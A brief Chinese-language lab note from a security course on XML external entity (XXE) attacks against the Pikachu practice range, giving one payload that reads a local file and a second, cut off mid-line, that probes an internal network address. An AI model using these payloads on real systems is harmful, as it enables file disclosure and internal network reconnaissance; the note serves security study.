【小迪第39天】xml漏洞

---

漏洞利用

简单回显读文件

靶场pickchu

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///g://1.txt">
]>
<x>&xxe;</x>

读取g盘下的1.txt文件，提交成功读取

对内网的探测

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;